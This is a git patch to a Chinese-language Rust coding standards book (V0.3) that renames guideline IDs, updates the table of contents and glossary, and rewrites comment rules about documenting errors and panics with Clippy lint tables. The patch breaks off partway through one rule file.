From 0d85c721d1adf89a0b4bdf3806a71edf53b21bd6 Mon Sep 17 00:00:00 2001 From: blackanger Date: Thu, 24 Mar 2022 00:52:29 +0800 Subject: [PATCH 01/10] V 0.3 --- Changelog.md | 8 ++ README.md | 1 + src/SUMMARY.md | 81 ++++++++-------- src/overview.md | 1 + src/safe-guides/Appendix/dev_env.md | 6 +- src/safe-guides/Appendix/terms.md | 2 +- src/safe-guides/code_style/comments.md | 14 +-- .../code_style/comments/G.CMT.01.md | 41 ++++---- .../code_style/comments/G.CMT.02.md | 64 +++++-------- .../code_style/comments/G.CMT.03.md | 77 ++++++++------- .../code_style/comments/G.CMT.04.md | 41 +------- .../code_style/comments/G.CMT.05.md | 38 +------- .../code_style/comments/G.CMT.06.md | 42 -------- .../code_style/comments/G.CMT.07.md | 55 ----------- .../code_style/comments/P.CMT.02.md | 38 ++++++++ .../code_style/comments/P.CMT.03.md | 58 +++++++++++ .../code_style/comments/P.CMT.04.md | 44 +++++++++ .../code_style/comments/P.CMT.05.md | 38 ++++++++ src/safe-guides/code_style/fmt.md | 35 +++---- src/safe-guides/code_style/fmt/G.FMT.01.md | 85 ---------------- src/safe-guides/code_style/fmt/P.FMT.01.md | 82 +++++++++++++++- .../fmt/{G.FMT.02.md => P.FMT.02.md} | 3 +- .../fmt/{G.FMT.03.md => P.FMT.03.md} | 4 +- .../fmt/{G.FMT.04.md => P.FMT.04.md} | 4 +- .../fmt/{G.FMT.05.md => P.FMT.05.md} | 4 +- .../fmt/{G.FMT.06.md => P.FMT.06.md} | 4 +- .../fmt/{G.FMT.07.md => P.FMT.07.md} | 4 +- .../fmt/{G.FMT.08.md => P.FMT.08.md} | 4 +- .../fmt/{G.FMT.09.md => P.FMT.09.md} | 4 +- .../fmt/{G.FMT.10.md => P.FMT.10.md} | 4 +- .../fmt/{G.FMT.11.md => P.FMT.11.md} | 4 +- .../fmt/{G.FMT.12.md => P.FMT.12.md} | 4 +- .../fmt/{G.FMT.13.md => P.FMT.13.md} | 4 +- .../fmt/{G.FMT.14.md => P.FMT.14.md} | 4 +- .../fmt/{G.FMT.15.md => P.FMT.15.md} | 4 +- .../fmt/{G.FMT.16.md => P.FMT.16.md} | 4 +- src/safe-guides/code_style/naming.md | 19 ++-- src/safe-guides/code_style/naming/G.NAM.01.md | 65 +++++++------ src/safe-guides/code_style/naming/G.NAM.02.md | 96 ++++++++++++------- src/safe-guides/code_style/naming/G.NAM.04.md | 76 --------------- src/safe-guides/code_style/naming/G.NAM.09.md | 33 ------- src/safe-guides/code_style/naming/P.NAM.03.md | 34 +++++++ .../naming/{G.NAM.03.md => P.NAM.04.md} | 11 +-- .../naming/{G.NAM.05.md => P.NAM.05.md} | 15 +-- .../naming/{G.NAM.06.md => P.NAM.06.md} | 4 +- .../naming/{G.NAM.07.md => P.NAM.07.md} | 2 +- .../naming/{G.NAM.08.md => P.NAM.08.md} | 14 +-- src/safe-guides/code_style/naming/P.NAM.09.md | 21 ++++ src/safe-guides/coding_practice/data-type.md | 3 +- .../data-type/char/G.TYP.CHR.03.md | 10 +- .../coding_practice/data-type/float.md | 3 +- .../data-type/float/G.TYP.FLT.03.md | 2 +- .../data-type/float/G.TYP.FLT.04.md | 2 +- .../data-type/float/G.TYP.FLT.05.md | 20 ++-- .../data-type/float/G.TYP.FLT.06.md | 31 ------ .../data-type/int/G.TYP.INT.01.md | 2 +- src/safe-guides/coding_practice/macros.md | 2 +- .../coding_practice/macros/G.MAC.01.md | 4 +- src/safe-guides/coding_practice/security.md | 2 + .../coding_practice/security/P.SEC.01.md | 18 ++++ .../coding_practice/unsafe_rust.md | 26 ++--- .../coding_practice/unsafe_rust/ffi.md | 6 +- .../ffi/{G.UNS.FFI.01.md => P.UNS.FFI.13.md} | 16 +--- .../ffi/{G.UNS.FFI.02.md => P.UNS.FFI.14.md} | 17 +--- .../ffi/{G.UNS.FFI.03.md => P.UNS.FFI.15.md} | 14 +-- .../io/{G.UNS.FIO.01.md => P.UNS.FIO.01.md} | 14 +-- .../coding_practice/unsafe_rust/raw_ptr.md | 4 +- .../{G.UNS.PTR.04.md => P.UNS.PTR.02.md} | 12 +-- .../{G.UNS.PTR.05.md => P.UNS.PTR.03.md} | 16 +--- .../unsafe_rust/safe_abstract.md | 11 ++- .../{G.UNS.SAS.03.md => P.UNS.SAS.05.md} | 14 +-- .../{G.UNS.SAS.04.md => P.UNS.SAS.06.md} | 16 +--- .../{G.UNS.SAS.05.md => P.UNS.SAS.07.md} | 10 +- .../{G.UNS.SAS.06.md => P.UNS.SAS.08.md} | 13 +-- .../{G.UNS.SAS.07.md => P.UNS.SAS.09.md} | 13 +-- .../coding_practice/unsafe_rust/union.md | 4 +- .../unsafe_rust/union/G.UNS.UNI.01.md | 40 -------- .../unsafe_rust/union/P.UNS.UNI.01.md | 28 ++++++ .../{G.UNS.UNI.02.md => P.UNS.UNI.02.md} | 14 +-- 79 files changed, 720 insertions(+), 967 deletions(-) delete mode 100644 src/safe-guides/code_style/comments/G.CMT.06.md delete mode 100644 src/safe-guides/code_style/comments/G.CMT.07.md create mode 100644 src/safe-guides/code_style/comments/P.CMT.02.md create mode 100644 src/safe-guides/code_style/comments/P.CMT.03.md create mode 100644 src/safe-guides/code_style/comments/P.CMT.04.md create mode 100644 src/safe-guides/code_style/comments/P.CMT.05.md delete mode 100644 src/safe-guides/code_style/fmt/G.FMT.01.md rename src/safe-guides/code_style/fmt/{G.FMT.02.md => P.FMT.02.md} (84%) rename src/safe-guides/code_style/fmt/{G.FMT.03.md => P.FMT.03.md} (87%) rename src/safe-guides/code_style/fmt/{G.FMT.04.md => P.FMT.04.md} (93%) rename src/safe-guides/code_style/fmt/{G.FMT.05.md => P.FMT.05.md} (91%) rename src/safe-guides/code_style/fmt/{G.FMT.06.md => P.FMT.06.md} (90%) rename src/safe-guides/code_style/fmt/{G.FMT.07.md => P.FMT.07.md} (93%) rename src/safe-guides/code_style/fmt/{G.FMT.08.md => P.FMT.08.md} (92%) rename src/safe-guides/code_style/fmt/{G.FMT.09.md => P.FMT.09.md} (93%) rename src/safe-guides/code_style/fmt/{G.FMT.10.md => P.FMT.10.md} (94%) rename src/safe-guides/code_style/fmt/{G.FMT.11.md => P.FMT.11.md} (94%) rename src/safe-guides/code_style/fmt/{G.FMT.12.md => P.FMT.12.md} (93%) rename src/safe-guides/code_style/fmt/{G.FMT.13.md => P.FMT.13.md} (90%) rename src/safe-guides/code_style/fmt/{G.FMT.14.md => P.FMT.14.md} (87%) rename src/safe-guides/code_style/fmt/{G.FMT.15.md => P.FMT.15.md} (90%) rename src/safe-guides/code_style/fmt/{G.FMT.16.md => P.FMT.16.md} (89%) delete mode 100644 src/safe-guides/code_style/naming/G.NAM.04.md delete mode 100644 src/safe-guides/code_style/naming/G.NAM.09.md create mode 100644 src/safe-guides/code_style/naming/P.NAM.03.md rename src/safe-guides/code_style/naming/{G.NAM.03.md => P.NAM.04.md} (69%) rename src/safe-guides/code_style/naming/{G.NAM.05.md => P.NAM.05.md} (87%) rename src/safe-guides/code_style/naming/{G.NAM.06.md => P.NAM.06.md} (95%) rename src/safe-guides/code_style/naming/{G.NAM.07.md => P.NAM.07.md} (91%) rename src/safe-guides/code_style/naming/{G.NAM.08.md => P.NAM.08.md} (60%) create mode 100644 src/safe-guides/code_style/naming/P.NAM.09.md delete mode 100644 src/safe-guides/coding_practice/data-type/float/G.TYP.FLT.06.md create mode 100644 src/safe-guides/coding_practice/security/P.SEC.01.md rename src/safe-guides/coding_practice/unsafe_rust/ffi/{G.UNS.FFI.01.md => P.UNS.FFI.13.md} (59%) rename src/safe-guides/coding_practice/unsafe_rust/ffi/{G.UNS.FFI.02.md => P.UNS.FFI.14.md} (67%) rename src/safe-guides/coding_practice/unsafe_rust/ffi/{G.UNS.FFI.03.md => P.UNS.FFI.15.md} (52%) rename src/safe-guides/coding_practice/unsafe_rust/io/{G.UNS.FIO.01.md => P.UNS.FIO.01.md} (66%) rename src/safe-guides/coding_practice/unsafe_rust/raw_ptr/{G.UNS.PTR.04.md => P.UNS.PTR.02.md} (54%) rename src/safe-guides/coding_practice/unsafe_rust/raw_ptr/{G.UNS.PTR.05.md => P.UNS.PTR.03.md} (61%) rename src/safe-guides/coding_practice/unsafe_rust/safe_abstract/{G.UNS.SAS.03.md => P.UNS.SAS.05.md} (80%) rename src/safe-guides/coding_practice/unsafe_rust/safe_abstract/{G.UNS.SAS.04.md => P.UNS.SAS.06.md} (70%) rename src/safe-guides/coding_practice/unsafe_rust/safe_abstract/{G.UNS.SAS.05.md => P.UNS.SAS.07.md} (73%) rename src/safe-guides/coding_practice/unsafe_rust/safe_abstract/{G.UNS.SAS.06.md => P.UNS.SAS.08.md} (85%) rename src/safe-guides/coding_practice/unsafe_rust/safe_abstract/{G.UNS.SAS.07.md => P.UNS.SAS.09.md} (87%) delete mode 100644 src/safe-guides/coding_practice/unsafe_rust/union/G.UNS.UNI.01.md create mode 100644 src/safe-guides/coding_practice/unsafe_rust/union/P.UNS.UNI.01.md rename src/safe-guides/coding_practice/unsafe_rust/union/{G.UNS.UNI.02.md => P.UNS.UNI.02.md} (62%) diff --git a/Changelog.md b/Changelog.md index a6f9e968..3db93f43 100644 --- a/Changelog.md +++ b/Changelog.md @@ -9,3 +9,11 @@ 3. 删除了一些不需要放到规范中条目。 4. 为一些规则丰富和精简了很多代码示例。 5. 移除规范中引用的不符合`MIT/Apache/Mozilla public licenses` 的开源配置和代码示例。 + +## V 0.3 发布 + +改进: + +- 将当前无法使用 Clippy 检查的规则(G)统一修改为了原则(P) +- 删除和修复一些条款 +- 新增 信息安全 `P.SEC.01` 条款 \ No newline at end of file diff --git a/README.md b/README.md index 4866cf36..b359e623 100644 --- a/README.md +++ b/README.md @@ -4,6 +4,7 @@ - 《Rust 编码规范》初稿发布 2021-10-31 (V 0.1) - 《Rust 编码规范》经社区和公司内第一次评审版本发布 2022-02 (V 0.2) ,改进内容参考 [Changelog](./Changelog.md)。 +- 《Rust 编码规范》经社区和公司内第一次评审版本发布 2022-03 (V 0.3) ,改进内容参考 [Changelog](./Changelog.md)。 ## 介绍 diff --git a/src/SUMMARY.md b/src/SUMMARY.md index 403b6e50..3bc8ed8f 100644 --- a/src/SUMMARY.md +++ b/src/SUMMARY.md @@ -7,42 +7,41 @@ - [命名](./safe-guides/code_style/naming.md) - [P.NAM.01](./safe-guides/code_style/naming/P.NAM.01.md) - [P.NAM.02](./safe-guides/code_style/naming/P.NAM.02.md) + - [P.NAM.03](./safe-guides/code_style/naming/P.NAM.03.md) + - [P.NAM.04](./safe-guides/code_style/naming/P.NAM.04.md) + - [P.NAM.05](./safe-guides/code_style/naming/P.NAM.05.md) + - [P.NAM.06](./safe-guides/code_style/naming/P.NAM.06.md) + - [P.NAM.07](./safe-guides/code_style/naming/P.NAM.07.md) + - [P.NAM.08](./safe-guides/code_style/naming/P.NAM.08.md) + - [P.NAM.09](./safe-guides/code_style/naming/P.NAM.09.md) - [G.NAM.01](./safe-guides/code_style/naming/G.NAM.01.md) - [G.NAM.02](./safe-guides/code_style/naming/G.NAM.02.md) - - [G.NAM.03](./safe-guides/code_style/naming/G.NAM.03.md) - - [G.NAM.04](./safe-guides/code_style/naming/G.NAM.04.md) - - [G.NAM.05](./safe-guides/code_style/naming/G.NAM.05.md) - - [G.NAM.06](./safe-guides/code_style/naming/G.NAM.06.md) - - [G.NAM.07](./safe-guides/code_style/naming/G.NAM.07.md) - - [G.NAM.08](./safe-guides/code_style/naming/G.NAM.08.md) - - [G.NAM.09](./safe-guides/code_style/naming/G.NAM.09.md) - [格式](./safe-guides/code_style/fmt.md) - [P.FMT.01](./safe-guides/code_style/fmt/P.FMT.01.md) - - [G.FMT.01](./safe-guides/code_style/fmt/G.FMT.01.md) - - [G.FMT.02](./safe-guides/code_style/fmt/G.FMT.02.md) - - [G.FMT.03](./safe-guides/code_style/fmt/G.FMT.03.md) - - [G.FMT.04](./safe-guides/code_style/fmt/G.FMT.04.md) - - [G.FMT.05](./safe-guides/code_style/fmt/G.FMT.05.md) - - [G.FMT.06](./safe-guides/code_style/fmt/G.FMT.06.md) - - [G.FMT.07](./safe-guides/code_style/fmt/G.FMT.07.md) - - [G.FMT.08](./safe-guides/code_style/fmt/G.FMT.08.md) - - [G.FMT.09](./safe-guides/code_style/fmt/G.FMT.09.md) - - [G.FMT.10](./safe-guides/code_style/fmt/G.FMT.10.md) - - [G.FMT.11](./safe-guides/code_style/fmt/G.FMT.11.md) - - [G.FMT.12](./safe-guides/code_style/fmt/G.FMT.12.md) - - [G.FMT.13](./safe-guides/code_style/fmt/G.FMT.13.md) - - [G.FMT.14](./safe-guides/code_style/fmt/G.FMT.14.md) - - [G.FMT.15](./safe-guides/code_style/fmt/G.FMT.15.md) - - [G.FMT.16](./safe-guides/code_style/fmt/G.FMT.16.md) + - [P.FMT.02](./safe-guides/code_style/fmt/P.FMT.02.md) + - [P.FMT.03](./safe-guides/code_style/fmt/P.FMT.03.md) + - [P.FMT.04](./safe-guides/code_style/fmt/P.FMT.04.md) + - [P.FMT.05](./safe-guides/code_style/fmt/P.FMT.05.md) + - [P.FMT.06](./safe-guides/code_style/fmt/P.FMT.06.md) + - [P.FMT.07](./safe-guides/code_style/fmt/P.FMT.07.md) + - [P.FMT.08](./safe-guides/code_style/fmt/P.FMT.08.md) + - [P.FMT.09](./safe-guides/code_style/fmt/P.FMT.09.md) + - [P.FMT.10](./safe-guides/code_style/fmt/P.FMT.10.md) + - [P.FMT.11](./safe-guides/code_style/fmt/P.FMT.11.md) + - [P.FMT.12](./safe-guides/code_style/fmt/P.FMT.12.md) + - [P.FMT.13](./safe-guides/code_style/fmt/P.FMT.13.md) + - [P.FMT.14](./safe-guides/code_style/fmt/P.FMT.14.md) + - [P.FMT.15](./safe-guides/code_style/fmt/P.FMT.15.md) + - [P.FMT.16](./safe-guides/code_style/fmt/P.FMT.16.md) - [注释](./safe-guides/code_style/comments.md) - [P.CMT.01](./safe-guides/code_style/comments/P.CMT.01.md) + - [P.CMT.02](./safe-guides/code_style/comments/P.CMT.02.md) + - [P.CMT.03](./safe-guides/code_style/comments/P.CMT.03.md) + - [P.CMT.04](./safe-guides/code_style/comments/G.CMT.04.md) + - [P.CMT.05](./safe-guides/code_style/comments/G.CMT.05.md) - [G.CMT.01](./safe-guides/code_style/comments/G.CMT.01.md) - [G.CMT.02](./safe-guides/code_style/comments/G.CMT.02.md) - [G.CMT.03](./safe-guides/code_style/comments/G.CMT.03.md) - - [G.CMT.04](./safe-guides/code_style/comments/G.CMT.04.md) - - [G.CMT.05](./safe-guides/code_style/comments/G.CMT.05.md) - - [G.CMT.06](./safe-guides/code_style/comments/G.CMT.06.md) - - [G.CMT.07](./safe-guides/code_style/comments/G.CMT.07.md) - [编码实践](./safe-guides/coding_practice.md) - [常量](./safe-guides/coding_practice/consts.md) - [G.CNS.01](./safe-guides/coding_practice/consts/G.CNS.01.md) @@ -85,7 +84,6 @@ - [G.TYP.FLT.03](./safe-guides/coding_practice/data-type/float/G.TYP.FLT.03.md) - [G.TYP.FLT.04](./safe-guides/coding_practice/data-type/float/G.TYP.FLT.04.md) - [G.TYP.FLT.05](./safe-guides/coding_practice/data-type/float/G.TYP.FLT.05.md) - - [G.TYP.FLT.06](./safe-guides/coding_practice/data-type/float/G.TYP.FLT.06.md) - [切片](./safe-guides/coding_practice/data-type/slice.md) - [P.TYP.SLC.01](./safe-guides/coding_practice/data-type/slice/P.TYP.SLC.01.md) - [P.TYP.SLC.02](./safe-guides/coding_practice/data-type/slice/P.TYP.SLC.02.md) @@ -255,23 +253,23 @@ - [P.UNS.SAS.02](./safe-guides/coding_practice/unsafe_rust/safe_abstract/P.UNS.SAS.02.md) - [P.UNS.SAS.03](./safe-guides/coding_practice/unsafe_rust/safe_abstract/P.UNS.SAS.03.md) - [P.UNS.SAS.04](./safe-guides/coding_practice/unsafe_rust/safe_abstract/P.UNS.SAS.04.md) + - [P.UNS.SAS.05](./safe-guides/coding_practice/unsafe_rust/safe_abstract/P.UNS.SAS.05.md) + - [P.UNS.SAS.06](./safe-guides/coding_practice/unsafe_rust/safe_abstract/P.UNS.SAS.06.md) + - [P.UNS.SAS.07](./safe-guides/coding_practice/unsafe_rust/safe_abstract/P.UNS.SAS.07.md) + - [P.UNS.SAS.08](./safe-guides/coding_practice/unsafe_rust/safe_abstract/P.UNS.SAS.08.md) + - [P.UNS.SAS.09](./safe-guides/coding_practice/unsafe_rust/safe_abstract/P.UNS.SAS.09.md) - [G.UNS.SAS.01](./safe-guides/coding_practice/unsafe_rust/safe_abstract/G.UNS.SAS.01.md) - [G.UNS.SAS.02](./safe-guides/coding_practice/unsafe_rust/safe_abstract/G.UNS.SAS.02.md) - - [G.UNS.SAS.03](./safe-guides/coding_practice/unsafe_rust/safe_abstract/G.UNS.SAS.03.md) - - [G.UNS.SAS.04](./safe-guides/coding_practice/unsafe_rust/safe_abstract/G.UNS.SAS.04.md) - - [G.UNS.SAS.05](./safe-guides/coding_practice/unsafe_rust/safe_abstract/G.UNS.SAS.05.md) - - [G.UNS.SAS.06](./safe-guides/coding_practice/unsafe_rust/safe_abstract/G.UNS.SAS.06.md) - - [G.UNS.SAS.07](./safe-guides/coding_practice/unsafe_rust/safe_abstract/G.UNS.SAS.07.md) - [裸指针操作](./safe-guides/coding_practice/unsafe_rust/raw_ptr.md) - [P.UNS.PTR.01](./safe-guides/coding_practice/unsafe_rust/raw_ptr/P.UNS.PTR.01.md) + - [P.UNS.PTR.02](./safe-guides/coding_practice/unsafe_rust/raw_ptr/P.UNS.PTR.02.md) + - [P.UNS.PTR.03](./safe-guides/coding_practice/unsafe_rust/raw_ptr/P.UNS.PTR.03.md) - [G.UNS.PTR.01](./safe-guides/coding_practice/unsafe_rust/raw_ptr/G.UNS.PTR.01.md) - [G.UNS.PTR.02](./safe-guides/coding_practice/unsafe_rust/raw_ptr/G.UNS.PTR.02.md) - [G.UNS.PTR.03](./safe-guides/coding_practice/unsafe_rust/raw_ptr/G.UNS.PTR.03.md) - - [G.UNS.PTR.04](./safe-guides/coding_practice/unsafe_rust/raw_ptr/G.UNS.PTR.04.md) - - [G.UNS.PTR.05](./safe-guides/coding_practice/unsafe_rust/raw_ptr/G.UNS.PTR.05.md) - [联合体](./safe-guides/coding_practice/unsafe_rust/union.md) - - [G.UNS.UNI.01](./safe-guides/coding_practice/unsafe_rust/union/G.UNS.UNI.01.md) - - [G.UNS.UNI.02](./safe-guides/coding_practice/unsafe_rust/union/G.UNS.UNI.02.md) + - [P.UNS.UNI.01](./safe-guides/coding_practice/unsafe_rust/union/P.UNS.UNI.01.md) + - [P.UNS.UNI.02](./safe-guides/coding_practice/unsafe_rust/union/P.UNS.UNI.02.md) - [内存](./safe-guides/coding_practice/unsafe_rust/mem.md) - [P.UNS.MEM.01](./safe-guides/coding_practice/unsafe_rust/mem/P.UNS.MEM.01.md) - [P.UNS.MEM.02](./safe-guides/coding_practice/unsafe_rust/mem/P.UNS.MEM.02.md) @@ -292,11 +290,11 @@ - [P.UNS.FFI.10](./safe-guides/coding_practice/unsafe_rust/ffi/P.UNS.FFI.10.md) - [P.UNS.FFI.11](./safe-guides/coding_practice/unsafe_rust/ffi/P.UNS.FFI.11.md) - [P.UNS.FFI.12](./safe-guides/coding_practice/unsafe_rust/ffi/P.UNS.FFI.12.md) - - [G.UNS.FFI.01](./safe-guides/coding_practice/unsafe_rust/ffi/G.UNS.FFI.01.md) - - [G.UNS.FFI.02](./safe-guides/coding_practice/unsafe_rust/ffi/G.UNS.FFI.02.md) - - [G.UNS.FFI.03](./safe-guides/coding_practice/unsafe_rust/ffi/G.UNS.FFI.03.md) + - [P.UNS.FFI.13](./safe-guides/coding_practice/unsafe_rust/ffi/P.UNS.FFI.13.md) + - [P.UNS.FFI.14](./safe-guides/coding_practice/unsafe_rust/ffi/P.UNS.FFI.14.md) + - [P.UNS.FFI.15](./safe-guides/coding_practice/unsafe_rust/ffi/P.UNS.FFI.15.md) - [I/O](./safe-guides/coding_practice/unsafe_rust/io.md) - - [G.UNS.FIO.01](./safe-guides/coding_practice/unsafe_rust/io/G.UNS.FIO.01.md) + - [P.UNS.FIO.01](./safe-guides/coding_practice/unsafe_rust/io/P.UNS.FIO.01.md) - [Unsafe 代码术语指南](./safe-guides/coding_practice/unsafe_rust/glossary.md) - [no-std](./safe-guides/coding_practice/no-std.md) - [P.EMB.01](./safe-guides/coding_practice/no-std/P.EMB.01.md) @@ -305,6 +303,7 @@ - [P.FIO.01](./safe-guides/coding_practice/io/P.FIO.01.md) - [G.FIO.01](./safe-guides/coding_practice/io/G.FIO.01.md) - [信息安全](./safe-guides/coding_practice/security.md) + - [P.SEC.01](./safe-guides/coding_practice/security/P.SEC.01.md) - [G.SEC.01](./safe-guides/coding_practice/security/G.SEC.01.md) - [其他](./safe-guides/coding_practice/others.md) - [G.OTH.01](./safe-guides/coding_practice/others/G.OTH.01.md) diff --git a/src/overview.md b/src/overview.md index b9452bfe..5f765e73 100644 --- a/src/overview.md +++ b/src/overview.md @@ -4,6 +4,7 @@ - 《Rust 编码规范》初稿发布 2021-10-31 (V 0.1) - 《Rust 编码规范》经社区和公司内第一次评审版本发布 2022-02 (V 0.2) +- 《Rust 编码规范》经社区和公司内第一次评审版本发布 2022-03 (V 0.3) ## 详细 diff --git a/src/safe-guides/Appendix/dev_env.md b/src/safe-guides/Appendix/dev_env.md index e1de11b4..fa12688d 100644 --- a/src/safe-guides/Appendix/dev_env.md +++ b/src/safe-guides/Appendix/dev_env.md @@ -20,9 +20,9 @@ Clion Rust从2015开始,每三年发布一个 Edition 版次: -> 1. Rust 2015 edition (Rust 0.1.0 ~ Rust 1.0.0) -> 2. Rust 2018 edition (Rust 1.0.0 ~ Rust 1.31.0) -> 3. Rust 2021 edition (Rust 1.31.0 ~ Rust 1.56.0 ) +> 1. Rust 2015 edition (Rust 1.0.0 + ) +> 2. Rust 2018 edition (Rust 1.31.0 +) +> 3. Rust 2021 edition (Rust 1.56.0 +) 以此类推。Edition是向前兼容的。Edition 和语义化版本是正交的,不冲突。 diff --git a/src/safe-guides/Appendix/terms.md b/src/safe-guides/Appendix/terms.md index 0d4c0628..698800f8 100644 --- a/src/safe-guides/Appendix/terms.md +++ b/src/safe-guides/Appendix/terms.md @@ -31,7 +31,6 @@ attribute | 属性 | automated building | 自动构建 | automated test | 自动测试,自动化测试 | **B** | | -baroque macro | 巴洛克宏 | benchmark | 基准 | binary | 二进制的 | binary executable | 二进制的可执行文件 | @@ -115,6 +114,7 @@ dot operator | 点运算符 | DST | 动态大小类型 | dynamic sized type,一般不译,
使用英文缩写形式 dynamic language | 动态类型语言 | dynamic trait type | 动态特质类型 | +declarative macros | 声明宏 | **E** | | enumeration | 枚举 | encapsulation | 封装 | diff --git a/src/safe-guides/code_style/comments.md b/src/safe-guides/code_style/comments.md index f2974069..cb147264 100644 --- a/src/safe-guides/code_style/comments.md +++ b/src/safe-guides/code_style/comments.md @@ -8,13 +8,13 @@ ## 列表 - [P.CMT.01 代码能做到自注释,文档要干练简洁](./comments/P.CMT.01.md) -- [G.CMT.01 注释应该有一定宽度限制](./comments/G.CMT.01.md) -- [G.CMT.02 使用行注释而避免使用块注释](./comments/G.CMT.02.md) -- [G.CMT.03 文件头注释包含版权说明](./comments/G.CMT.03.md) -- [G.CMT.04 在注释中使用 FIXME 和 TODO 来帮助任务协作](./comments/G.CMT.04.md) -- [G.CMT.05 在公开的返回Result类型返回的函数文档中增加 Error 注释](./comments/G.CMT.05.md) -- [G.CMT.06 如果公开的API在某些情况下会发生Panic,则相应文档中需增加 Panic 注释](./comments/G.CMT.06.md) -- [G.CMT.07 在文档注释中要使用空格代替 tab](./comments/G.CMT.07.md) +- [P.CMT.02 注释应该有一定宽度限制](./comments/P.CMT.02.md) +- [P.CMT.03 使用行注释而避免使用块注释](./comments/P.CMT.03.md) +- [P.CMT.04 文件头注释包含版权说明](./comments/P.CMT.04.md) +- [P.CMT.05 在注释中使用 FIXME 和 TODO 来帮助任务协作](./comments/P.CMT.05.md) +- [G.CMT.01 在公开的返回Result类型返回的函数文档中增加 Error 注释](./comments/G.CMT.01.md) +- [G.CMT.02 如果公开的API在某些情况下会发生Panic,则相应文档中需增加 Panic 注释](./comments/G.CMT.02.md) +- [G.CMT.03 在文档注释中要使用空格代替 tab](./comments/G.CMT.03.md) ## 参考 diff --git a/src/safe-guides/code_style/comments/G.CMT.01.md b/src/safe-guides/code_style/comments/G.CMT.01.md index e5d017d8..4e0c8028 100644 --- a/src/safe-guides/code_style/comments/G.CMT.01.md +++ b/src/safe-guides/code_style/comments/G.CMT.01.md @@ -1,40 +1,37 @@ -## G.CMT.01 注释应该有一定宽度限制 +## G.CMT.01 在 公开的返回`Result`类型返回的函数文档中增加 Error 注释 **【级别】** 建议 **【描述】** -每行注释的宽度不能过长,需要设置一定的宽度,有助于提升可读性。`comment_width`可配合 `wrap_comments` 将超过宽度限制的注释自动分割为多行。 +在公开(pub)的返回`Result`类型函数文档中,建议增加 `# Error` 注释来解释什么场景下该函数会返回什么样的错误类型,方便用户处理错误。 -注意:`use_small_heuristics`配置项并不包括`comment_width`。 +说明: 该规则通过 cargo clippy 来检测。默认不会警告。 **【反例】** ```rust -// Lorem ipsum dolor sit amet, consectetur adipiscing elit, sed do eiusmod tempor incididunt ut labore et dolore magna aliqua. Ut enim ad minim veniam, quis nostrud exercitation ullamco laboris nisi ut aliquip ex ea commodo consequat. +# use std::io; +pub fn read(filename: String) -> io::Result { + unimplemented!(); +} ``` **【正例】** -当 `comment_width=80` 且 `wrap_comments=true`时。 - -注意:这里 `wrap_comments`并未使用默认值,需要配置为 true。 - ```rust -// Lorem ipsum dolor sit amet, consectetur adipiscing elit, -// sed do eiusmod tempor incididunt ut labore et dolore -// magna aliqua. Ut enim ad minim veniam, quis nostrud -// exercitation ullamco laboris nisi ut aliquip ex ea -// commodo consequat. +# use std::io; +/// # Errors +/// +/// Will return `Err` if `filename` does not exist or the user does not have +/// permission to read it. +pub fn read(filename: String) -> io::Result { + unimplemented!(); +} ``` -**【rustfmt 配置】** - -此规则 Clippy 不可检测,由 rustfmt 自动格式化。 - -rustfmt 配置: +**【Lint 检测】** -| 对应选项 | 可选值 | 是否 stable | 说明 | -| ------ | ---- | ---- | ---- | -| [`comment_width`](https://rust-lang.github.io/rustfmt/?#comment_width) | 80(默认) | No| 指定一行注释允许的最大宽度 | -| [`wrap_comments`](https://rust-lang.github.io/rustfmt/?#wrap_comments) | false(默认),true(建议) | No| 运行多行注释按最大宽度自动换成多行注释 | \ No newline at end of file +| lint name | Clippy 可检测 | Rustc 可检测 | Lint Group | 默认 level | +| ------ | ---- | --------- | ------ | ------ | +| [missing_errors_doc ](https://rust-lang.github.io/rust-clippy/master/index.html#missing_errors_doc ) | yes| no | Style | allow | \ No newline at end of file diff --git a/src/safe-guides/code_style/comments/G.CMT.02.md b/src/safe-guides/code_style/comments/G.CMT.02.md index 1fd7f4f6..bea90809 100644 --- a/src/safe-guides/code_style/comments/G.CMT.02.md +++ b/src/safe-guides/code_style/comments/G.CMT.02.md @@ -1,60 +1,42 @@ -## G.CMT.02 使用行注释而避免使用块注释 +## G.CMT.02 如果公开的API在某些情况下会发生Panic,则相应文档中需增加 Panic 注释 -**【级别】** 建议 +**【级别】** 要求 **【描述】** -尽量使用行注释(`//` 或 `///`),而非块注释。这是Rust社区的约定俗成。 +在公开(pub)函数文档中,建议增加 `# Panic` 注释来解释该函数在什么条件下会 Panic,便于使用者进行预处理。 -对于文档注释,仅在编写模块级文档时使用 `//!`,在其他情况使用 `///`更好。 +说明: 该规则通过 cargo clippy 来检测。默认不会警告。 **【反例】** ```rust -/* - * Wait for the main task to return, and set the process error code - * appropriately. - */ - -mod tests { - //! This module contains tests - - // ... +pub fn divide_by(x: i32, y: i32) -> i32 { + if y == 0 { + panic!("Cannot divide by 0") + } else { + x / y + } } - -#![doc = "Example documentation"] - -#[doc = "Example item documentation"] -pub enum Foo {} ``` **【正例】** -当 `normalize_comments = true` 时: - ```rust -// Wait for the main task to return, and set the process error code -// appropriately. - -// 在使用 `mod` 关键字定义模块时,在 `mod`之上使用 `///` 更好。 -/// This module contains tests -mod tests { - // ... +/// # Panics +/// +/// Will panic if y is 0 +pub fn divide_by(x: i32, y: i32) -> i32 { + if y == 0 { + panic!("Cannot divide by 0") + } else { + x / y + } } - -//! Example documentation - -/// Example item documentation -pub enum Foo {} ``` -**【rustfmt 配置】** - -此规则 Clippy 不可检测,由 rustfmt 自动格式化。 - -rustfmt 配置: +**【Lint 检测】** -| 对应选项 | 可选值 | 是否 stable | 说明 | -| ------ | ---- | ---- | ---- | -| [`normalize_comments`](https://rust-lang.github.io/rustfmt/?#normalize_comments) | false(默认) true(推荐) | No| 将 `/**/` 注释转为 `//`| -| [`normalize_doc_attributes`](https://rust-lang.github.io/rustfmt/?#normalize_doc_attributes) | false(默认) | No| 将 `#![doc]` 和 `#[doc]` 注释转为 `//!` 和 `///` | \ No newline at end of file +| lint name | Clippy 可检测 | Rustc 可检测 | Lint Group | 默认 level | +| ------ | ---- | --------- | ------ | ------ | +| [missing_panics_doc ](https://rust-lang.github.io/rust-clippy/master/index.html#missing_panics_doc ) | yes| no | Style | allow | \ No newline at end of file diff --git a/src/safe-guides/code_style/comments/G.CMT.03.md b/src/safe-guides/code_style/comments/G.CMT.03.md index 9052a1c8..1ed9b49f 100644 --- a/src/safe-guides/code_style/comments/G.CMT.03.md +++ b/src/safe-guides/code_style/comments/G.CMT.03.md @@ -1,46 +1,55 @@ -## G.CMT.03 文件头注释包含版权说明 +## G.CMT.03 在文档注释中要使用空格代替 tab **【级别】** 